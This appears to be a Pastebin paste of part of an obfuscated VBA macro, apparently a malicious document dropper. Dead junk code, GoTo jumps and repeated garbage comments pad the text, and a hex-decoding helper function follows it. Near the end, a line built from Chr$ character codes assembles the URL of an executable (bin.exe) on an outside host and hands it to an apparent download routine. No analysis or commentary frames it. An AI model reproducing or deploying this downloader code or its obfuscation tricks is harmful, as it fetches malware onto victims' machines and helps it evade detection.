  989. vaIVZOki:
  990. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  991.  
  992. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  993. LBTFXLKX = LTrim(ULLQMTFS)
  994. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  995.  
  996. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  997. GoTo CssUkMNf
  998. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  999. Dim KswLQVcg As String
  1000. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1001. Open "ULEGHF.EFT" For Binary As 52
  1002. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1003. Put #52, , KswLQVcg
  1004. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1005. Close #52
  1006. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1007. CssUkMNf:
  1008. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1009.  
  1010. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1011. RTJJVUWU = RTrim(LBTFXLKX)
  1012. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1013.  
  1014. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1015. GoTo dcpDKOYm
  1016. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1017. Dim ivmNdDrw As String
  1018. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1019. Open "GBZLEO.QLR" For Binary As 74
  1020. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1021. Put #74, , ivmNdDrw
  1022. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1023. Close #74
  1024. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1025. dcpDKOYm:
  1026. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1027.  
  1028. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1029.  
  1030. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1031.  
  1032. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1033. GoTo VrCDqYSd
  1034. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1035. Dim MruBTPpf As String
  1036. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1037. Open "IGXKDU.ROV" For Binary As 51
  1038. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1039. Put #51, , MruBTPpf
  1040. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1041. Close #51
  1042. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1043. VrCDqYSd:
  1044. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1045.  
  1046. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1047. OWECLMOI = RTrim(FMLQVHSY)
  1048. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1049.  
  1050. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1051. GoTo bWqOgSqf
  1052. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1053. Dim wWmWOJIg As String
  1054. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1055. Open "WQZJGQ.KTT" For Binary As 18
  1056. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1057. Put #18, , wWmWOJIg
  1058. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1059. Close #18
  1060. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1061. bWqOgSqf:
  1062. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1063.  
  1064. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1065.  
  1066. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1067. Dim WRMGLDLI, HTTAFKJO, SYGDICFP As String
  1068. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1069.  
  1070. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1071. GoTo mnjltMpe
  1072. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1073. Dim jAARvBUr As String
  1074. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1075. Open "LAYIPG.GWI" For Binary As 95
  1076. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1077. Put #95, , jAARvBUr
  1078. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1079. Close #95
  1080. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1081. mnjltMpe:
  1082. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1083.  
  1084. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1085. WRMGLDLI = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(50) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(50) & Chr$(52) & Chr$(50) & Chr$(52) & Chr$(54) & Chr$(52) & Chr$(54) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  1086. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1087.  
  1088. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1089. GoTo gphcHFmC
  1090. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1091. Dim qqbOqKKV As String
  1092. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1093. Open "OINZFL.TZE" For Binary As 82
  1094. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1095. Put #82, , qqbOqKKV
  1096. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1097. Close #82
  1098. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1099. gphcHFmC:
  1100. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1101.  
  1102. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1103. HTTAFKJO = LTrim(WRMGLDLI)
  1104. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1105.  
  1106. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1107. GoTo iewCFZyR
  1108. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1109. Dim erToiUET As String
  1110. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1111. Open "SGICAY.IOP" For Binary As 61
  1112. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1113. Put #61, , erToiUET
  1114. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1115. Close #61
  1116. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1117. iewCFZyR:
  1118. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1119.  
  1120. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1121. SYGDICFP = RTrim(HTTAFKJO)
  1122. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1123.  
  1124. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1125. GoTo Gielcnpw
  1126. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1127. Dim PidTJTUx As String
  1128. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1129. Open "EJVOLT.BSA" For Binary As 32
  1130. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1131. Put #32, , PidTJTUx
  1132. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1133. Close #32
  1134. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1135. Gielcnpw:
  1136. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1137.  
  1138. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1139.  
  1140. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1141.  
  1142. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1143. GoTo BargDAcL
  1144. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1145. Dim MzfnuTWM As String
  1146. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1147. Open "IFBYAT.RIA" For Binary As 51
  1148. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1149. Put #51, , MzfnuTWM
  1150. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1151. Close #51
  1152. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1153. BargDAcL:
  1154. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1155.  
  1156. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1157.        QYLWAYQRCZW Chr$(104) & Chr$(116) & Chr$(116) & Chr$(112) & Chr$(58) & Chr$(47) & Chr$(47) & Chr$(97) & Chr$(103) & Chr$(114) & Chr$(111) & Chr$(50) & Chr$(48) & Chr$(48) & Chr$(48) & Chr$(46) & Chr$(99) & Chr$(98) & Chr$(97) & Chr$(46) & Chr$(112) & Chr$(108) & Chr$(47) & Chr$(106) & Chr$(115) & Chr$(47) & Chr$(98) & Chr$(105) & Chr$(110) & Chr$(46) & Chr$(101) & Chr$(120) & Chr$(101), pJjokbn
  1158.  
  1159. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1160. End Sub
  1161. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  1162.  
  1163.  
  1164.  
  1165.  
  1166. Public Function HEXTOSTRING(ByVal MQSKJZQBJLFINBL As String) As String
  1167. Dim UHTUQP As String
  1168. Dim ZQDHGHSM As String
  1169. Dim BYUSKGSJYTH As Long
  1170. For BYUSKGSJYTH = 1 To Len(MQSKJZQBJLFINBL) Step 2
  1171. Dim QTJBFVNV, JAVMALJG, WXYHFFOU As String
  1172. QTJBFVNV = "           NXMTNT               "
  1173. JAVMALJG = LTrim(QTJBFVNV)
  1174. WXYHFFOU = RTrim(JAVMALJG)
  1175.  
  1176. UHTUQP = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(MQSKJZQBJLFINBL, BYUSKGSJYTH, 2)))
  1177. Dim TQPFUTKZ, UXCIHZAX, XSEDWFDR As String
  1178. TQPFUTKZ = "           BSOHZY               "
  1179. UXCIHZAX = LTrim(TQPFUTKZ)
  1180. XSEDWFDR = RTrim(UXCIHZAX)
  1181.  
  1182. ZQDHGHSM = ZQDHGHSM & UHTUQP
  1183. Next BYUSKGSJYTH
  1184. Dim IPNDKZTC, MHDHMHII, YCBLWRSL As String
  1185. IPNDKZTC = "           ZRAGCE               "
  1186. MHDHMHII = LTrim(IPNDKZTC)
  1187. YCBLWRSL = RTrim(MHDHMHII)
  1188.  
  1189. HEXTOSTRING = ZQDHGHSM
  1190. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top